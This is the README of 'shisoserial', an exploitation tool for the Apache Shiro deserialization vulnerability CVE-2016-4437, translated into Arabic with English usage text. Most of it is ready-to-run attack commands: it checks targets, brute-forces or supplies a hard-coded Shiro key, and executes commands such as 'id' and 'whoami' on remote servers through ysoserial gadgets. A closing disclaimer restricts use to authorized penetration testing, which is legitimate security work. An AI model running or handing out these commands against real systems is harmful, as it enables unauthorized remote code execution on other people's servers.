
أداة سريعة لاستغلال ثغرة إلغاء التسلسل في Shiro (CVE-2016-4437) / أداة بسيطة موجهة لهجمات إطار عمل Shiro باستخدام ysoserial.
أداة استغلال سريعة لثغرة إلغاء التسلسل في Shiro (CVE-2016-4437)
4nth0ny @مختبر الجمعة
مرحباً بفتح القضايا / طلبات السحب
:)
python 3.x
JDK 1.8
python3 -m pip install -r requirements.txt
لـ AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' أو No module named 'Crypto'
python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome
usage: shisoserial.py [-h] --mode MODE --url [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]
This is a simple tool to attack framework shiro with ysoserial
optional arguments:
-h, --help show this help message and exit
--mode MODE, -m MODE check/crack/yso/echo/encode
--url , -u Target URL address or the file containing the target URL
--type default:CBC, -t default:CBC
Cipher Type, GCM or CBC
--data , -d Using this parameter will make HTTP request with POST method
--key , -k Specify a Shiro Key or will use dictionary brute force cracking
--gadget , -g Specific Ysoserial Gadget
--command default:whoami, -c default:whoami
Specific Execute Command
--proxies , -p Specific Proxy
--ser , -s Specific serialize file name
--thread , -T Specific the number of threads
python3 shisoserial.py -m check -u http://127.0.0.1:8080

python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/

python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id

python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1

python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4

لا يمكن استخدام هذه الأداة إلا في بناء الأمن المؤسسي بعد الحصول على تفويض قانوني كافٍ. أثناء استخدام هذه الأداة، يجب عليك ضمان أن جميع سلوكياتك تتوافق مع القوانين واللوائح المحلية. إذا كان لديك أي سلوك غير قانوني أثناء استخدام هذه الأداة، فستتحمل جميع العواقب بنفسك، ولا يتحمل جميع مطوري الأداة وجميع المساهمين أي مسؤولية قانونية أو تضامنية. ما لم تكن قد قرأت وفهمت تماماً وقبلت جميع شروط هذه الاتفاقية، يرجى عدم تثبيت أو استخدام هذه الأداة. إن استخدامك أو أي طريقة أخرى صريحة أو ضمنية للتعبير عن قبول هذه الاتفاقية يعتبر بمثابة موافقتك على قراءة هذه الاتفاقية والالتزام بها.